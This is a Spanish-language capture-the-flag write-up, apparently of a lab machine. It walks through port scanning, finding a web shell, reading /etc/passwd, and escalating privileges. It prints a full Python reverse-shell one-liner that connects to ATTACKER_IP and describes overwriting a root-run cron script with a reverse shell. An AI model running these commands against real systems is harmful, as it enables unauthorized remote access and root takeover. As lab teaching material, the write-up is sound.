Enumeración
Para comenzar voy a realizar un escaneo de puertos usando nmap:
El único puerto que encuentro abierto es el 80. Con lo cuál voy a ingresar a la página para ver de que se trata:
La página es una shell web que permite realizar shells reversas.
Voy a realizar una busqueda de directorios para encontrar algo donde empezar a buscar:
El directorio /dev me resulta interesante y al ingresar veo que es una Shell, la cual me permite ejecutar comandos:
Navegando por la Shell encuentro en el acchivo cat/passwd una lista con nombres de usuario:
Al ingresar en home/arrexel pude encontrar la bandera de usuario:
Escalada de Privilegios
Para lograr escalar privilegios primero voy a ver que permisos tengo:
Veo que tengo permisos para ejecutar el usuario scriptmanager como sudo sin contraseña, lo cual es un punto importante para lograr la escalada de privilegios. Pero al tratarse de una Shell semi interactiva, no me es posible cambiar de usuario para lograr la escalada. Así que voy a intentar una reverse Shell desde mi terminal.
Al ingresar which Python veo que la maquina tiene Python instalado, asi que lo voy a usar para lograr la reverse Shell. Ingreso el siguiente comando para lograr la reverse Shell:
sudo -u scriptmanager python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
Paralelamente abro una terminal de escucha con netcat y al ingresar el comando de Python logre la reverse Shell:
Navegando por la consola encontré el directorio scripts y en el un archivo de nombre test.txt y otro test.py.
Test.py pareciera ser un programa que lo que hace es crear el archivo test.txt y por lo que veo se ejecuta automáticamente cada 2 minutos:
Lo que puedo hacer es editar el archivo test.py para lograr una reverse Shell con permisos de root.
Así que en mi maquina local voy a crear un archivo de nombre test.py y le voy a incluir una reverse Shell para luego pasársela a la maquina victima y ejecutarla:
Para poder pasarle el archivo a la maquina remota voy a iniciar un servidor con Python y abrir un puerto de escucha con netcat en el mismo puerto que le pase al reverse Shell, en este caso 8888.
Y ahora lo paso a la maquina victima.
Importante antes de enviarlo eliminar el archivo test.py de la maquina victima así evitar que se duplique el nombre.
Ahora solo resta esperar a que se ejecute para ganar acceso con permisos de root:
Y listo! Solo resta navegar hasta el directorio root para encontrar la bandera.
Espero que este tutorial te haya sido de ayuda!